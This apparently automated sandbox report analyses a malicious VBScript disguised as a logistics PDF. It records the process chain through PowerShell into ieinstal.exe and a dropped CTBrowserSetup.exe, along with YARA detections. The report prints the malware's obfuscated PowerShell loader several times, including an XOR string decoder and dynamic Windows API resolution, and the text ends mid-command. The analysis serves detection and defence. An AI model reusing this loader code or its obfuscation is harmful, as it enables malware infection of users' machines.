Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c dir&echo ###RSHELL.EXE###	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE	Jump to behavior

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 16332
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 7941
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 16332	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 7941	Jump to behavior

Source: amsi64_9996.amsi.csv, type: OTHER	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth (Nextron Systems), description = Detects obfuscated PowerShell hacktools, score = , reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-12
Source: 00000000.00000003.844623037.000002633E501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth (Nextron Systems), description = Detects obfuscated PowerShell hacktools, score = , reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-12
Source: 00000000.00000003.861279971.000002633E6D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth (Nextron Systems), description = Detects obfuscated PowerShell hacktools, score = , reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-12
Source: 00000000.00000002.863443496.0000026340D62000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth (Nextron Systems), description = Detects obfuscated PowerShell hacktools, score = , reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-12
Source: 00000000.00000003.845185105.000002633E505000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth (Nextron Systems), description = Detects obfuscated PowerShell hacktools, score = , reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-12
Source: 00000000.00000002.862735606.000002633E507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth (Nextron Systems), description = Detects obfuscated PowerShell hacktools, score = , reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-06-12

Source: russelllogistics_PDF98933 laced 2023-06-06 .vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\russelllogistics_PDF98933 laced 2023-06-06 .vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c dir&echo ###RSHELL.EXE###
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function kontaktann11 { param([String]$Soonys); $Chiroma = ''; Write-Host $Chiroma; Write-Host $Chiroma; Write-Host $Chiroma; $Meso = New-Object byte[] ($Soonys.Length / 2); For($Actuatedp=0; $Actuatedp -lt $Soonys.Length; $Actuatedp+=2){ $Gloseforra = $Soonys.Substring($Actuatedp, 2); $Meso[$Actuatedp/2] = [convert]::ToByte($Gloseforra, 16); $Spaghe = ($Meso[$Actuatedp/2] -bxor 202); $Meso[$Actuatedp/2] = $Spaghe; } [String][System.Text.Encoding]::ASCII.GetString($Meso);}$Isnadi0=kontaktann11 '99B3B9BEAFA7E4AEA6A6';$Isnadi1=kontaktann11 '87A3A9B8A5B9A5ACBEE49DA3A4F9F8E49FA4B9ABACAF84ABBEA3BCAF87AFBEA2A5AEB9';$Isnadi2=kontaktann11 '8DAFBE9AB8A5A98BAEAEB8AFB9B9';$Isnadi3=kontaktann11 '99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC';$Isnadi4=kontaktann11 'B9BEB8A3A4AD';$Isnadi5=kontaktann11 '8DAFBE87A5AEBFA6AF82ABA4AEA6AF';$Isnadi6=kontaktann11 '989E99BAAFA9A3ABA684ABA7AFE6EA82A3AEAF88B399A3ADE6EA9ABFA8A6A3A9';$Isnadi7=kontaktann11 '98BFA4BEA3A7AFE6EA87ABA4ABADAFAE';$Isnadi8=kontaktann11 '98AFACA6AFA9BEAFAE8EAFA6AFADABBEAF';$Isnadi9=kontaktann11 '83A487AFA7A5B8B387A5AEBFA6AF';$Unde0=kontaktann11 '87B38EAFA6AFADABBEAF9EB3BAAF';$Unde1=kontaktann11 '89A6ABB9B9E6EA9ABFA8A6A3A9E6EA99AFABA6AFAEE6EA8BA4B9A389A6ABB9B9E6EA8BBFBEA589A6ABB9B9';$Unde2=kontaktann11 '83A4BCA5A1AF';$Unde3=kontaktann11 '9ABFA8A6A3A9E6EA82A3AEAF88B399A3ADE6EA84AFBD99A6A5BEE6EA9CA3B8BEBFABA6';$Unde4=kontaktann11 '9CA3B8BEBFABA68BA6A6A5A9';$Unde5=kontaktann11 'A4BEAEA6A6';$Unde6=kontaktann11 '84BE9AB8A5BEAFA9BE9CA3B8BEBFABA687AFA7A5B8B3';$Unde7=kontaktann11 '838F92';$Unde8=kontaktann11 '96';$Sladrem21=kontaktann11 '9F998F98F9F8';$Pedologic23=kontaktann11 '89ABA6A69DA3A4AEA5BD9AB8A5A98B';function fkp {Param ($Unsu, $Henvend) ;$Goldbrick0 =kontaktann11 'EE86B9AFA2ABB9BEA3ADA2EAF7EAE2918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48DAFBE8BB9B9AFA7A8A6A3AFB9E2E3EAB6EA9DA2AFB8AFE785A8A0AFA9BEEAB1EAEE95E48DA6A5A8ABA68BB9B9AFA7A8A6B389ABA9A2AFEAE78BA4AEEAEE95E486A5A9ABBEA3A5A4E499BAA6A3BEE2EE9FA4AEAFF2E391E7FB97E48FBBBFABA6B9E2EE83B9A4ABAEA3FAE3EAB7E3E48DAFBE9EB3BAAFE2EE83B9A4ABAEA3FBE3';.($Unde7) $Goldbrick0;$Goldbrick5 = kontaktann11 'EE99BAA3A6AEA3A4AEB9EAF7EAEE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3F8E6EA919EB3BAAF919797EA8AE2EE83B9A4ABAEA3F9E6EAEE83B9A4ABAEA3FEE3E3';.($Unde7) $Goldbrick5;$Goldbrick1 = kontaktann11 'B8AFBEBFB8A4EAEE99BAA3A6AEA3A4AEB9E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE29199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC97E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFACE2E284AFBDE785A8A0AFA9BEEA83A4BE9ABEB8E3E6EAE2EE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3FFE3E3E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE2EE9FA4B9BFE3E3E3E3E6EAEE82AFA4BCAFA4AEE3E3';.($Unde7) $Goldbrick1;}function GDT {P
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process created: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe "C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe"
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe "C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c dir&echo ###RSHELL.EXE###	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function kontaktann11 { param([String]$Soonys); $Chiroma = ''; Write-Host $Chiroma; Write-Host $Chiroma; Write-Host $Chiroma; $Meso = New-Object byte[] ($Soonys.Length / 2); For($Actuatedp=0; $Actuatedp -lt $Soonys.Length; $Actuatedp+=2){ $Gloseforra = $Soonys.Substring($Actuatedp, 2); $Meso[$Actuatedp/2] = [convert]::ToByte($Gloseforra, 16); $Spaghe = ($Meso[$Actuatedp/2] -bxor 202); $Meso[$Actuatedp/2] = $Spaghe; } [String][System.Text.Encoding]::ASCII.GetString($Meso);}$Isnadi0=kontaktann11 '99B3B9BEAFA7E4AEA6A6';$Isnadi1=kontaktann11 